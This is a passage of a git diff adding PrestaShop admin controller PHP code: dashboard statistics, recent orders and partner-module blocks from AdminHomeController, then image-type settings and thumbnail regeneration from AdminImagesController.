Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue('SELECT COUNT(*) FROM '._DB_PREFIX_.'customer_thread'); + $unread = (int)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue('SELECT COUNT(*) FROM `'._DB_PREFIX_.'customer_thread` WHERE `status` = "open"'); + $pending = (int)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue('SELECT COUNT(*) FROM `'._DB_PREFIX_.'customer_thread` WHERE `status` LIKE "%pending%"'); + $close = $all - ($unread + $pending); + $content = ' + <div class="table_info" id="table_info_last"> + <h5><a href="index.php?tab=AdminCustomerThreads&token='.Tools::getAdminTokenLite('AdminCustomerThreads').'">'.$this->l('View more').'</a> '.$this->l('Customer service').'</h5> + <table class="table_info_details" style="width:100%;"> + <colgroup> + <col width=""> + <col width="80px"> + </colgroup> + <tr class="tr_odd"> + <td class="td_align_left"> + '.$this->l('Unread threads').' + </td> + <td> + '.$unread.' + </td> + </tr> + <tr> + <td class="td_align_left"> + '.$this->l('Pending threads').' + </td> + <td> + '.$pending.' + </td> + </tr> + <tr class="tr_odd"> + <td class="td_align_left"> + '.$this->l('Closed threads').' + </td> + <td> + '.$close.' + </td> + </tr> + <tr> + <td class="td_align_left"> + '.$this->l('Total threads').' + </td> + <td> + '.$all.' + </td> + </tr> + </table> + </div>'; + return $content; + } + + public function getMonthlyStatistics() + { + $currency = Tools::setCurrency($this->context->cookie); + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT IFNULL(SUM(`total_paid_real` / conversion_rate), "0") as total_sales, COUNT(*) as total_orders + FROM `'._DB_PREFIX_.'orders` + WHERE valid = 1 + AND `invoice_date` BETWEEN \''.date('Y-m').'-01 00:00:00\' AND \''.date('Y-m').'-31 23:59:59\' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER).' + '); + + $result2 = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT COUNT(`id_customer`) AS total_registrations + FROM `'._DB_PREFIX_.'customer` c + WHERE c.`date_add` BETWEEN \''.date('Y-m').'-01 00:00:00\' AND \''.date('Y-m').'-31 23:59:59\' + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER).' + '); + + $result3 = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT SUM(pv.`counter`) AS total_viewed + FROM `'._DB_PREFIX_.'page_viewed` pv + LEFT JOIN `'._DB_PREFIX_.'date_range` dr ON pv.`id_date_range` = dr.`id_date_range` + LEFT JOIN `'._DB_PREFIX_.'page` p ON pv.`id_page` = p.`id_page` + LEFT JOIN `'._DB_PREFIX_.'page_type` pt ON pt.`id_page_type` = p.`id_page_type` + WHERE pt.`name` = \'product\' + AND dr.`time_start` BETWEEN \''.date('Y-m').'-01 00:00:00\' AND \''.date('Y-m').'-31 23:59:59\' + AND dr.`time_end` BETWEEN \''.date('Y-m').'-01 00:00:00\' AND \''.date('Y-m').'-31 23:59:59\' + '.Shop::addSqlRestriction().' + '); + + $results = array_merge($result, array_merge($result2, $result3)); + + $content = '<div class="table_info"> + <h5><a href="index.php?tab=AdminStats&token='.Tools::getAdminTokenLite('AdminStats').'">'.$this->l('View more').'</a> '.$this->l('This month\'s activity').' </h5> + <table class="table_info_details" style="width:100%;"> + <colgroup> + <col width=""> + <col width="80px"> + </colgroup> + <tr class="tr_odd"> + <td class="td_align_left"> + '.$this->l('Sales').' + </td> + <td> + ' + .Tools::displayPrice($results['total_sales'], $currency) + .' + </td> + </tr> + <tr> + <td class="td_align_left"> + '.$this->l('Total registrations').' + </td> + <td> + '.(int)($results['total_registrations']).' + </td> + </tr> + <tr class="tr_odd"> + <td class="td_align_left"> + '.$this->l('Total orders').' + </td> + <td> + '.(int)($results['total_orders']).' + </td> + </tr> + <tr> + <td class="td_align_left"> + '.$this->l('Product pages viewed').' + </td> + <td> + '.(int)($results['total_viewed']).' + </td> + </tr> + </table> + </div>'; + return $content; + } + + public function getStatsSales() + { + $content = '<div id="table_info_large"> + <h5><a href="index.php?tab=AdminStats&token='.Tools::getAdminTokenLite('AdminStats').'">'.$this->l('View more').'</a> <strong>'.$this->l('Statistics').'</strong> / '.$this->l('This week\'s sales').'</h5> + <div id="stat_google">'; + + $chart = new Chart(); + $chart->getCurve(1)->setType('bars'); + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT total_paid / conversion_rate as total_converted, left(invoice_date, 10) as invoice_date + FROM '._DB_PREFIX_.'orders o + WHERE valid = 1 + AND total_paid > 0 + AND invoice_date BETWEEN \''.date('Y-m-d', strtotime('-7 DAYS', time())).' 00:00:00\' AND \''.date('Y-m-d H:i:s').'\' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER).' + '); + foreach ($result as $row) + $chart->getCurve(1)->setPoint(strtotime($row['invoice_date'].' 02:00:00'), $row['total_converted']); + $chart->setSize(580, 170); + $chart->setTimeMode(strtotime('-7 DAYS', time()), time(), 'd'); + $currency = Tools::setCurrency($this->context->cookie); + $chart->getCurve(1)->setLabel($this->l('Sales + Tax').' ('.strtoupper($currency->iso_code).')'); + + $content .= $chart->fetch(); + $content .= ' </div> + </div>'; + return $content; + } + + public function getLastOrders() + { + $content = ' + <table cellpadding="0" cellspacing="0" id="table_customer" style="width:100%;"> + <thead> + <tr> + <th class="order_id"><span class="first">'.$this->l('ID').'</span></th> + <th class="order_customer"><span>'.$this->l('Customer Name').'</span></th> + <th class="order_status"><span>'.$this->l('Status').'</span></th> + <th class="order_total"><span>'.$this->l('Total').'</span></th> + <th class="order_action"><span class="last">'.$this->l('Action').'</span></th> + <tr> + </thead> + <tbody>'; + + $orders = Order::getOrdersWithInformations(10); + $i = 0; + foreach ($orders as $order) + { + $currency = Currency::getCurrency((int)$order['id_currency']); + $content .= ' + <tr'.($i % 2 ? ' id="order_line1"' : '').'> + <td class="order_td_first order_id">'.(int)$order['id_order'].'</td> + <td class="order_customer">'.Tools::htmlentitiesUTF8($order['firstname']).' '.Tools::htmlentitiesUTF8($order['lastname']).'</td> + <td class="order_status">'.Tools::htmlentitiesUTF8($order['state_name']).'</td> + <td class="order_total">'.Tools::displayPrice((float)$order['total_paid'], $currency).'</td> + <td class="order_action"> + <a href="index.php?tab=AdminOrders&id_order='.(int)$order['id_order'].'&vieworder&token='.Tools::getAdminTokenLite('AdminOrders').'" title="'.$this->l('Details').'"><img src="../img/admin/details.gif" alt="'.$this->l('See').'" /></a> + </td> + </tr> + '; + $i++; + } + + $content .= ' + </tbody> + </table> + '; + return $content; + } + + public function ajaxProcessRefreshCheckVersion() + { + $upgrade = new Upgrader(true); + if ($upgrade) + { + $json['status'] = 'ok'; + $json['upgrade']['need_upgrade'] = $upgrade->need_upgrade; + $json['upgrade']['link'] = $upgrade->link; + $json['upgrade']['version_name'] = $upgrade->version_name; + $this->content = Tools::jsonEncode($json); + } + else + $this->content = '{"status":"error"}'; + } + public function ajaxProcessHideOptimizationTips() + { + if (Configuration::updateValue('PS_HIDE_OPTIMIZATION_TIPS', 1)) + { + $result['result'] = 'ok'; + $result['msg'] = $this->l('Optimization Tips will be hidden by default.'); + } + else + { + $result['result'] = 'error'; + $result['msg'] = $this->l('an error occurred'); + } + $this->content = Tools::jsonEncode($result); + + } + + public function ajaxProcessGetAdminHomeElement() + { + $this->content_only = true; + $result = array(); + $content = ''; + + $protocol = Tools::usingSecureMode() ? 'https' : 'http'; + $isoUser = Context::getContext()->language->iso_code; + $isoCountry = Context::getContext()->country->iso_code; + $stream_context = @stream_context_create(array('http' => array('method'=> 'GET', 'timeout' => 2))); + + // SCREENCAST + $result['screencast'] = 'OK'; + + + // PREACTIVATION + $result['partner_preactivation'] = $this->getBlockPartners(); + + // DISCOVER PRESTASHOP + $result['discover_prestashop'] = '<div id="block_tips">'.$this->getBlockDiscover().'</div>'; + + $result['discover_prestashop'] .= '<div class="row-news"><div id="block_discover"><iframe frameborder="no" style="margin: 0px; padding: 0px; width: 100%; height:300px; overflow:hidden;" src="'.$protocol.'://api.prestashop.com/rss2/news2.php?v='._PS_VERSION_.'&lang='.$isoUser.'"></iframe></div>'; + + // SHOW TIPS OF THE DAY + $content = @file_get_contents($protocol.'://api.prestashop.com/partner/tipsoftheday/?protocol='.$protocol.'&iso_country='.$isoCountry.'&iso_lang='.Tools::strtolower($isoUser), false, $stream_context); + $content = explode('|', $content); + if ($content[0] == 'OK' && Validate::isCleanHtml($content[1])) + $result['discover_prestashop'] .= '<div id="block_partner_tips">'.$content[1].'</div></div>'; + + $this->content = Tools::jsonEncode($result); + } + + public function ajaxProcessHideScreencast() + { + if ($employee = new Employee((int)Tools::getValue('id_employee'))) + { + $employee->bo_show_screencast = 0; + if ($employee->save()) + $this->content = '{"status":"ok"}'; + else + $this->content = '{"status":"error","msg":"not saved"}'; + } + else + $this->content = '{"status":"error", "msg":"employee does not exists"}'; + } + + public function getBlockPartners() + { + // Init var + $return = ''; + $protocol = Tools::getShopProtocol(); + $isoCountry = Context::getContext()->country->iso_code; + $isoUser = Context::getContext()->language->iso_code; + + // Refresh preactivation xml file if needed + if (is_writable('../config/xml/') && (!file_exists('../config/xml/preactivation.xml') || (time() - filemtime('../config/xml/preactivation.xml')) > 86400)) + { + $stream_context = @stream_context_create(array('http' => array('method'=> 'GET', 'timeout' => AdminHomeController::TIPS_TIMEOUT))); + $content = Tools::file_get_contents('http://api.prestashop.com/partner/premium/get_partners.php?protocol='.$protocol.'&iso_country='.Tools::strtoupper($isoCountry).'&iso_lang='.Tools::strtolower($isoUser).'&ps_version='._PS_VERSION_.'&ps_creation='._PS_CREATION_DATE_.'&host='.urlencode($_SERVER['HTTP_HOST']).'&email='.urlencode(Configuration::get('PS_SHOP_EMAIL')), false, $stream_context); + @unlink('../config/xml/preactivation.xml'); + file_put_contents('../config/xml/preactivation.xml', $content); + } + + $count = 0; + libxml_use_internal_errors(true); + // If preactivation xml file exists, we load it + if (file_exists('../config/xml/preactivation.xml') && filesize('../config/xml/preactivation.xml') > 0 && $preactivation = simplexml_load_file('../config/xml/preactivation.xml')) + foreach ($preactivation->partner as $partner) + { + // Cache the logo + if (!file_exists('../img/tmp/preactivation_'.htmlentities((string)$partner->module).'.png')) + { + $logo = @Tools::file_get_contents(htmlentities((string)$partner->logo)); + if (sizeof($logo) > 0) + file_put_contents('../img/tmp/preactivation_'.htmlentities((string)$partner->module).'.png', $logo); + } + + // Check if module is not already installed and configured + $display = 0; + if (file_exists('../config/xml/default_country_modules_list.xml') && filesize('../config/xml/default_country_modules_list.xml') > 10) + foreach ($partner->checkconfiguration->key as $key) + if (Configuration::get(pSQL((string)$key)) == '') + $display = 1; + + // Display the module + if ($display == 1 && $count < 2) + { + $label_final = ''; + foreach ($partner->labels->label as $label) + if (empty($label_final) || (string)$label->attributes()->iso == $isoUser) + $label_final = (string)$label; + + $optional_final = ''; + if (isset($partner->optionals)) + foreach ($partner->optionals->optional as $optional) + if (empty($optional_final) && (string)$optional->attributes()->iso == $isoUser) + $optional_final = (string)$optional; + + $link = 'index.php?controller=adminmodules&install='.htmlentities((string)$partner->module).'&token='.Tools::getAdminTokenLite('AdminModules').'&module_name='.htmlentities((string)$partner->module).'&redirect=config'; + $return .= '<div style="width:46.5%;min-height:85px;border:1px solid #cccccc;background-color:white;padding-left:5px;padding-right:5px;'.(empty($return) ? 'float:left' : 'float:right').'"> + <p align="center"> + <a href="'.$link.'" class="preactivationLink" rel="'.htmlentities((string)$partner->module).'"><img src="../img/tmp/preactivation_'.htmlentities((string)$partner->module).'.png" alt="'.htmlentities((string)$partner->name).'" border="0" /></a><br /> + <b><a href="'.$link.'" class="preactivationLink" rel="'.htmlentities((string)$partner->module).'">'.htmlentities(utf8_decode((string)$label_final)).'</a></b> + '.(($optional_final != '') ? '<a href="'.$link.'" class="preactivationLink" rel="'.htmlentities((string)$partner->module).'"><img src="'.htmlentities((string)$optional_final).'" /></a>' : '').' + </p> + </div>'; + $count++; + } + } + libxml_clear_errors(); + + if (!empty($return)) + $return .= '<br clear="left" /> + <script> + $(".preactivationLink").click(function() { + var module = $(this).attr("rel"); + var ajaxCurrentIndex = "'.str_replace('index', 'ajax-tab', self::$currentIndex).'"; + try + { + resAjax = $.ajax({ + type:"POST", + url : ajaxCurrentIndex, + async: true, + data : { + ajax : "1", + controller : "AdminHome", + action : "savePreactivationRequest", + module : module, + }, + success : function(data) + { + }, + error: function(res,textStatus,jqXHR) + { + } + }); + } + catch(e){} + }); + </script>'; + + return $return; + } + + public function ajaxProcessSavePreactivationRequest() + { + $isoUser = Context::getContext()->language->iso_code; + $isoCountry = Context::getContext()->country->iso_code; + $employee = new Employee((int)Context::getContext()->cookie->id_employee); + $firstname = $employee->firstname; + $lastname = $employee->lastname; + $email = $employee->email; + $return = @Tools::file_get_contents('http://api.prestashop.com/partner/premium/set_request.php?iso_country='.strtoupper($isoCountry).'&iso_lang='.strtolower($isoUser).'&host='.urlencode($_SERVER['HTTP_HOST']).'&ps_version='._PS_VERSION_.'&ps_creation='._PS_CREATION_DATE_.'&partner='.htmlentities(Tools::getValue('module')).'&shop='.urlencode(Configuration::get('PS_SHOP_NAME')).'&email='.urlencode($email).'&firstname='.urlencode($firstname).'&lastname='.urlencode($lastname).'&type=home'); + die($return); + } + + public function getBlockDiscover() + { + $stream_context = @stream_context_create(array('http' => array('method'=> 'GET', 'timeout' => AdminHomeController::TIPS_TIMEOUT))); + $content = ''; + + $protocol = Tools::usingSecureMode() ? 'https' : 'http'; + $isoUser = Context::getContext()->language->iso_code; + $isoCountry = Context::getContext()->country->iso_code; + + $content = @Tools::file_get_contents($protocol.'://api.prestashop.com/partner/prestashop/prestashop-link.php?iso_country='.$isoCountry.'&iso_lang='.Tools::strtolower($isoUser).'&id_lang='.(int)Context::getContext()->language->id.'&ps_version='.urlencode(_PS_VERSION_), false, $stream_context); + + if (!$content) + return ''; // NOK + else + { + if (strpos($content, '|') !== false) + $content = explode('|', $content); + if ($content[0] == 'OK' && Validate::isCleanHtml($content[1])) + return $content[1]; + else + return ''; // NOK + } + } + public function initContent() + { + parent::initContent(); + $smarty = $this->context->smarty; + + $this->warnDomainName(); + + $protocol = Tools::usingSecureMode()?'https':'http'; + $smarty->assign('protocol', $protocol); + $isoUser = $this->context->language->iso_code; + $smarty->assign('isoUser', $isoUser); + $upgrade = null; + $tpl_vars['refresh_check_version'] = 0; + if (@ini_get('allow_url_fopen')) + { + $upgrade = new Upgrader(true); + // if this information is outdated, the version will be checked after page loading + if (Configuration::get('PS_LAST_VERSION_CHECK') < time() - (3600 * Upgrader::DEFAULT_CHECK_VERSION_DELAY_HOURS)) + $tpl_vars['refresh_check_version'] = 1; + } + + if (!$this->isFresh(Module::CACHE_FILE_DEFAULT_COUNTRY_MODULES_LIST, 86400)) + file_put_contents(_PS_ROOT_DIR_.Module::CACHE_FILE_DEFAULT_COUNTRY_MODULES_LIST, Tools::addonsRequest('native')); + + $tpl_vars['upgrade'] = $upgrade; + + if ($this->context->employee->bo_show_screencast) + $tpl_vars['employee_token'] = Tools::getAdminTokenLite('AdminEmployees'); + + $tpl_vars['employee'] = $this->context->employee; + $tpl_vars['quick_links'] = $this->getQuickLinks(); + $tpl_vars['monthly_statistics'] = $this->getMonthlyStatistics(); + $tpl_vars['customers_service'] = $this->getCustomersService(); + $tpl_vars['stats_sales'] = $this->getStatsSales(); + $tpl_vars['last_orders'] = $this->getLastOrders(); + $tpl_vars['tips_optimization'] = $this->_displayOptimizationTips(); + + $smarty->assign($tpl_vars); + } +} diff --git a/controllers/admin/AdminImagesController.php b/controllers/admin/AdminImagesController.php new file mode 100755 index 0000000..38ecea2 --- /dev/null +++ b/controllers/admin/AdminImagesController.php @@ -0,0 +1,688 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminImagesControllerCore extends AdminController +{ + protected $start_time = 0; + protected $max_execution_time = 7200; + protected $display_move; + + public function __construct() + { + $this->table = 'image_type'; + $this->className = 'ImageType'; + $this->lang = false; + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->fields_list = array( + 'id_image_type' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 25), + 'name' => array('title' => $this->l('Name'), 'width' => 'auto'), + 'width' => array('title' => $this->l('Width'), 'align' => 'right', 'suffix' => ' px', 'width' => 50, 'size' => 5), + 'height' => array('title' => $this->l('Height'), 'align' => 'right', 'suffix' => ' px', 'width' => 50, 'size' => 5), + 'products' => array('title' => $this->l('Products'), 'width' => 50, 'align' => 'center', 'type' => 'bool', 'callback' => 'printEntityActiveIcon', 'orderby' => false), + 'categories' => array('title' => $this->l('Categories'), 'width' => 50, 'align' => 'center', 'type' => 'bool', 'callback' => 'printEntityActiveIcon', 'orderby' => false), + 'manufacturers' => array('title' => $this->l('Manufacturers'), 'width' => 50, 'align' => 'center', 'type' => 'bool', 'callback' => 'printEntityActiveIcon', 'orderby' => false), + 'suppliers' => array('title' => $this->l('Suppliers'), 'width' => 50, 'align' => 'center', 'type' => 'bool', 'callback' => 'printEntityActiveIcon', 'orderby' => false), + 'scenes' => array('title' => $this->l('Scenes'), 'width' => 50, 'align' => 'center', 'type' => 'bool', 'callback' => 'printEntityActiveIcon', 'orderby' => false), + 'stores' => array('title' => $this->l('Stores'), 'width' => 50, 'align' => 'center', 'type' => 'bool', 'callback' => 'printEntityActiveIcon', 'orderby' => false) + ); + + // No need to display the old image system if the install has been made later than 2013-03-26 + $this->display_move = (defined('_PS_CREATION_DATE_') && strtotime(_PS_CREATION_DATE_) > strtotime('2013-03-26')) ? false : true; + + $this->fields_options = array( + 'images' => array( + 'title' => $this->l('images'), + 'icon' => 'tab-orders', + 'top' => '', + 'bottom' => '', + 'description' => $this->l('JPEG images have a small file size and standard quality. PNG images have a larger file size, a higher quality and support transparency. Note that in all cases the image files will have the .jpg extension.').' + <br /><br />'.$this->l('WARNING: This feature may not be compatible with your theme, or with some of your modules. In particular, PNG mode is not compatible with the Watermark module. If you encounter any issues, turn it off by selecting "Use JPEG".'), + 'fields' => array( + 'PS_IMAGE_QUALITY' => array( + 'title' => $this->l('Image quality'), + 'show' => true, + 'required' => true, + 'type' => 'radio', + 'choices' => array('jpg' => $this->l('Use JPEG'), 'png' => $this->l('Use PNG only if the base image is in PNG format.'), 'png_all' => $this->l('Use PNG for all images')) + ), + 'PS_JPEG_QUALITY' => array( + 'title' => $this->l('JPEG quality'), + 'desc' => $this->l('Ranges from 0 (worst quality, smallest file) to 100 (best quality, biggest file).'), + 'validation' => 'isUnsignedId', + 'required' => true, + 'cast' => 'intval', + 'type' => 'text' + ), + 'PS_PNG_QUALITY' => array( + 'title' => $this->l('PNG quality'), + 'desc' => $this->l('Ranges from 9 (worst quality, smallest file) to 0 (best quality, biggest file).'), + 'validation' => 'isUnsignedId', + 'required' => true, + 'cast' => 'intval', + 'type' => 'text' + ), + ), + 'submit' => array('name' => 'submitImagePreferences'), + ), + 'product_images' => array( + 'title' => $this->l('Product images'), + 'fields' => array( + 'PS_IMAGE_GENERATION_METHOD' => array( + 'title' => $this->l('Image generated by'), + 'validation' => 'isUnsignedId', + 'required' => false, + 'cast' => 'intval', + 'type' => 'select', + 'list' => array( + array( + 'id' => '0', + 'name' => $this->l('Auto') + ), + array( + 'id' => '1', + 'name' => $this->l('Width') + ), + array( + 'id' => '2', + 'name' => $this->l('Height') + ) + ), + 'identifier' => 'id', + 'visibility' => Shop::CONTEXT_ALL + ), + 'PS_PRODUCT_PICTURE_MAX_SIZE' => array( + 'title' => $this->l('Maximum size of product pictures'), + 'desc' => $this->l('The maximum size of pictures uploadable by customers (in Bytes).'), + 'validation' => 'isUnsignedInt', + 'required' => true, + 'cast' => 'intval', + 'type' => 'text', + 'suffix' => $this->l('Bytes'), + 'visibility' => Shop::CONTEXT_ALL + ), + 'PS_PRODUCT_PICTURE_WIDTH' => array( + 'title' => $this->l('Product picture width'), + 'desc' => $this->l('The maximum width of pictures uploadable by customers.'), + 'validation' => 'isUnsignedInt', + 'required' => true, + 'cast' => 'intval', + 'type' => 'text', + 'width' => 'px', + 'visibility' => Shop::CONTEXT_ALL + ), + 'PS_PRODUCT_PICTURE_HEIGHT' => array( + 'title' => $this->l('Product picture height'), + 'desc' => $this->l('The maximum height of pictures uploadable by customers.'), + 'validation' => 'isUnsignedInt', + 'required' => true, + 'cast' => 'intval', + 'type' => 'text', + 'height' => 'px', + 'visibility' => Shop::CONTEXT_ALL + ) + ), + 'submit' => array('title' => $this->l('Save '), 'class' => 'button'), + ), + ); + + if ($this->display_move) + $this->fields_options['product_images']['fields']['PS_LEGACY_IMAGES'] = array( + 'title' => $this->l('Use the legacy image filesystem'), + 'desc' => $this->l('This should be set to yes unless you successfully moved images in "Images" page under the "Preferences" menu.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'required' => false, + 'type' => 'bool', + 'visibility' => Shop::CONTEXT_ALL + ); + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('images'), + 'image' => '../img/admin/picture.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Type name'), + 'name' => 'name', + 'required' => true, + 'desc' => $this->l('Letters and hyphens only (e.g. small, medium, large, extra-large)') + ), + array( + 'type' => 'text', + 'label' => $this->l('Width'), + 'name' => 'width', + 'required' => true, + 'size' => 4, + 'maxlength' => 5, + 'desc' => $this->l('Maximum image width in pixels') + ), + array( + 'type' => 'text', + 'label' => $this->l('Height'), + 'name' => 'height', + 'required' => true, + 'size' => 4, + 'maxlength' => 5, + 'desc' => $this->l('Maximum image height in pixels') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Products'), + 'name' => 'products', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'desc' => $this->l('This type will be used for Product images'), + 'values' => array( + array( + 'id' => 'products_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'products_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ), + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Categories'), + 'name' => 'categories', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'desc' => $this->l('This type will be applied to Category images.'), + 'values' => array( + array( + 'id' => 'categories_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'categories_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ), + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Manufacturers'), + 'name' => 'manufacturers', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'desc' => $this->l('This type will be applied to Manufacturer images.'), + 'values' => array( + array( + 'id' => 'manufacturers_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'manufacturers_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ), + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Suppliers'), + 'name' => 'suppliers', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'desc' => $this->l('This type will be used for Supplier images.'), + 'values' => array( + array( + 'id' => 'suppliers_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'suppliers_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ), + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Scenes'), + 'name' => 'scenes', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'desc' => $this->l('This type will be used for Scene images.'), + 'values' => array( + array( + 'id' => 'scenes_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'scenes_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ), + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Stores'), + 'name' => 'stores', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'desc' => $this->l('This type will be used for Store images.'), + 'values' => array( + array( + 'id' => 'stores_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'stores_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ), + ) + ), + ), + 'submit' => array( + 'title' => $this->l('Save '), + 'class' => 'button' + ) + ); + + + parent::__construct(); + } + + public function postProcess() + { + // When moving images, if duplicate images were found they are moved to a folder named duplicates/ + if (file_exists(_PS_PROD_IMG_DIR_.'duplicates/')) + { + $this->warnings[] = $this->l('Duplicate images were found when moving the product images. This is likely caused by unused demonstration images. Please make sure that the folder'). + _PS_PROD_IMG_DIR_.'duplicates/'. + $this->l('only contains demonstration images, and then delete it.'); + } + + if (Tools::getValue('submitRegenerate'.$this->table)) + { + if ($this->tabAccess['edit'] === '1') + { + if ($this->_regenerateThumbnails(Tools::getValue('type'), Tools::getValue('erase'))) + Tools::redirectAdmin(self::$currentIndex.'&conf=9'.'&token='.$this->token); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + elseif (Tools::getValue('submitMoveImages'.$this->table)) + { + if ($this->tabAccess['edit'] === '1') + { + if ($this->_moveImagesToNewFileSystem()) + Tools::redirectAdmin(self::$currentIndex.'&conf=25'.'&token='.$this->token); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + elseif (Tools::getValue('submitImagePreferences')) + { + if ($this->tabAccess['edit'] === '1') + { + if ((int)Tools::getValue('PS_JPEG_QUALITY') < 0 + || (int)Tools::getValue('PS_JPEG_QUALITY') > 100) + $this->errors[] = Tools::displayError('Incorrect value for the selected JPEG image quality.'); + elseif ((int)Tools::getValue('PS_PNG_QUALITY') < 0 + || (int)Tools::getValue('PS_PNG_QUALITY') > 9) + $this->errors[] = Tools::displayError('Incorrect value for the selected PNG image quality.'); + elseif (!Configuration::updateValue('PS_IMAGE_QUALITY', Tools::getValue('PS_IMAGE_QUALITY')) + || !Configuration::updateValue('PS_JPEG_QUALITY', Tools::getValue('PS_JPEG_QUALITY')) + || !Configuration::updateValue('PS_PNG_QUALITY', Tools::getValue('PS_PNG_QUALITY'))) + $this->errors[] = Tools::displayError('Unknown error.'); + else + return parent::postProcess(); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + + else + return parent::postProcess(); + } + + public static function printEntityActiveIcon($value, $object) + { + return ($value ? '<img src="../img/admin/enabled.gif" />' : '<img src="../img/admin/disabled.gif" />'); + } + + protected function _childValidation() + { + if (!Tools::getValue('id_image_type') && Validate::isImageTypeName($typeName = Tools::getValue('name')) && ImageType::typeAlreadyExists($typeName)) + $this->errors[] = Tools::displayError('This name already exists.'); + } + + /** + * Init display for the thumbnails regeneration block + */ + public function initRegenerate() + { + $types = array( + 'categories' => $this->l('Categories'), + 'manufacturers' => $this->l('Manufacturers'), + 'suppliers' => $this->l('Suppliers'), + 'scenes' => $this->l('Scenes'), + 'products' => $this->l('Products'), + 'stores' => $this->l('Stores') + ); + + $formats = array(); + foreach ($types as $i => $type) + $formats[$i] = ImageType::getImagesTypes($i); + + $this->context->smarty->assign(array( + 'types' => $types, + 'formats' => $formats, + )); + } + + /** + * Delete resized image then regenerate new one with updated settings + */ + protected function _deleteOldImages($dir, $type, $product = false) + { + if (!is_dir($dir)) + return false; + $toDel = scandir($dir); + foreach ($toDel as $d) + foreach ($type as $imageType) + if (preg_match('/^[0-9]+\-'.($product ? '[0-9]+\-' : '').$imageType['name'].'\.jpg$/', $d) || preg_match('/^([[:lower:]]{2})\-default\-(.*)\.jpg$/', $d)) + if (file_exists($dir.$d)) + unlink($dir.$d); + + // delete product images using new filesystem. + if ($product) + { + $productsImages = Image::getAllImages(); + foreach ($productsImages as $image) + { + $imageObj = new Image($image['id_image']); + $imageObj->id_product = $image['id_product']; + if (file_exists($dir.$imageObj->getImgFolder())) + { + $toDel = scandir($dir.$imageObj->getImgFolder()); + foreach ($toDel as $d) + foreach ($type as $imageType) + if (preg_match('/^[0-9]+\-'.$imageType['name'].'\.jpg$/', $d)) + if (file_exists($dir.$imageObj->getImgFolder().$d)) + unlink($dir.$imageObj->getImgFolder().$d); + } + } + } + } + + /** + * Regenerate images + * + * @param $dir + * @param $type + * @param bool $productsImages + * @return bool|string + */ + protected function _regenerateNewImages($dir, $type, $productsImages = false) + { + if (!is_dir($dir)) + return false; + + $errors = false; + if (!$productsImages) + { + foreach (scandir($dir) as $image) + if (preg_match('/^[0-9]*\.jpg$/', $image)) + foreach ($type as $k => $imageType) + { + // Customizable writing dir + $newDir = $dir; + if ($imageType['name'] == 'thumb_scene') + $newDir .= 'thumbs/'; + if (!file_exists($newDir)) + continue; + if (!file_exists($newDir.substr($image, 0, -4).'-'.stripslashes($imageType['name']).'.jpg')) + { + if (!file_exists($dir.$image) || !filesize($dir.$image)) + { + $errors = true; + $this->errors[] = sprintf(Tools::displayError('Source file does not exist or is empty (%s)', $dir.$image)); + } + elseif (!ImageManager::resize($dir.$image, $newDir.substr($image, 0, -4).'-'.stripslashes($imageType['name']).'.jpg', (int)$imageType['width'], (int)$imageType['height'])) + $errors = true; + } + if (time() - $this->start_time > $this->max_execution_time - 4) // stop 4 seconds before the tiemout, just enough time to process the end of the page on a slow server + return 'timeout'; + } + } + else + { + foreach (Image::getAllImages() as $image) + { + $imageObj = new Image($image['id_image']); + 